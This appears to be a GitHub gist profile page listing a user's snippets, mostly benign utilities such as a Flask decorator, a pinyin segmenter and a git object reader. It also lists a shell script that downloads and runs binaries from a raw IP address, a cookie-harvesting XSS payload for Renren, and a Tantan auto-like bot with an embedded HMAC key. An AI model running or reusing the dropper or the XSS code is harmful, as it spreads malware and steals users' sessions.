Skip to content

Instantly share code, notes, and snippets.

🍉
Waiting for summer

Wang Dàpéng wong2

View GitHub Profile
@wong2
wong2 / cmds.txt
Last active Feb 3, 2019
在任意聊天中输入。 [ ]表示后面要跟一个空格(可能还需要别的参数才能生效)
View cmds.txt
//wearversion
//wearlog
//wearvoiceinputenable
//wearvoiceinputdisable
//weargoogleapi
//assert
//pushassert
//uplog
//upcrash
//switchnotificationstatus
@wong2
wong2 / tantan.py
Created Feb 18, 2016
自动like探探上的所有人
View tantan.py
#-*-coding:utf-8-*-
import hashlib
import hmac
import time
import requests
HMAC_KEY = '5tT!TQkf5fYbabw5?KL2659XgL^JgxWw8r9Y+bAvGwP-QfteQL'
class TanTan(object):
@wong2
wong2 / jsonify.py
Created Aug 3, 2013
flask jsonify decorator
View jsonify.py
import json
# jsonify response decorator
def jsonify(f):
def wrapped(*args, **kwargs):
return Response(json.dumps(f(*args, **kwargs)), mimetype='application/json')
return wrapped
View batch.js
async function runBatch(client, command, keys, ...args) {
let batch = client.batch()
for (let key of keys) {
batch[command](key, ...args)
}
return batch.execAsync()
}
@wong2
wong2 / pinyin_seg.py
Created Mar 4, 2012
以前写的一个简单拼音分词程序。"tianqibucuo" -> "tian qi bu cuo"
View pinyin_seg.py
#-*-coding:utf-8-*-
def seg(pinyin):
sm = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'w', 'x', 'y', 'z', 'sh', 'zh', 'ch']
ymd = {'a': {'i':None, 'o':None, 'n': {'g': None}},
'e': {'i':None, 'r':None, 'n': {'g': None}},
'i': {'e':None, 'a':{'n':{'g':None}, 'o':None}, 'u':None, 'o':{'n':{'g':None}}, 'n':{'g':None}},
'o': {'u':None, 'n':{'g':None}},
'u': {'a':{'i':None, 'n':{'g':None}}, 'e':None, 'i':None, 'o':None}
}
View show_git_tree.py
import re
import zlib
def show_git_tree(sha1):
path = '.git/objects/%s/%s' % (sha1[:2], sha1[2:])
with open(path) as fp:
content = zlib.decompress(fp.read())
header, body = content.split('\0', 1)
for line in re.findall('(\d+) (.*?)\0(.{20})', body, re.MULTILINE):
print line[0], line[1], line[2].encode('hex')
View get.sh
root@li400-72:~# cat get.sh
#!/bin/bash
wget http://45.32.232.197/x86 --quiet
chmod +x x86
./x86
rm -rf x86
wget http://45.32.232.197/i686 --quiet
chmod +x i686
./i686
rm -rf i686
@wong2
wong2 / 抓毛毛
Last active Dec 27, 2015
抓呀抓毛毛
View 抓毛毛
!function() {
var getLottery = function() {
var url = 'http://promotion.taobao.com/tmall/luckyCat.do?';
url += 'c24291a8ab24d18cd51be92e4b2eecce';
url += '&ruleId=1111';
url += '&RandomNum=' + new Date().getTime();
url += '&ua=' + encodeURIComponent(ua);
url += '&d=m';
KISSY.io({
View renren_xss.js
if (window.isUndefined(window.injector)) {
window.injector = 'defined';
d = document.cookie;
cookie = {};
reg = /([\w_]+)=([\w.]+)/g;
tmp = null;
while ((tmp = reg.exec(d)) != null) {
cookie[tmp[1]] = tmp[2];
}
cookieStr = JSON.stringify(cookie);
View 小黄鸡系列
小黄鸡:601621937
小黄鸡2号: 601622487
小黄鸡3号: 601622652
小黄鸡4号: 601622829
小黄鸡5号: 601624725
小黄鸡6号: 601624734
小黄鸡7号: 601624954
小黄鸡8号: 601625409
小黄鸡9号: 601625414
小黄鸡10号: 601625491
You can’t perform that action at this time.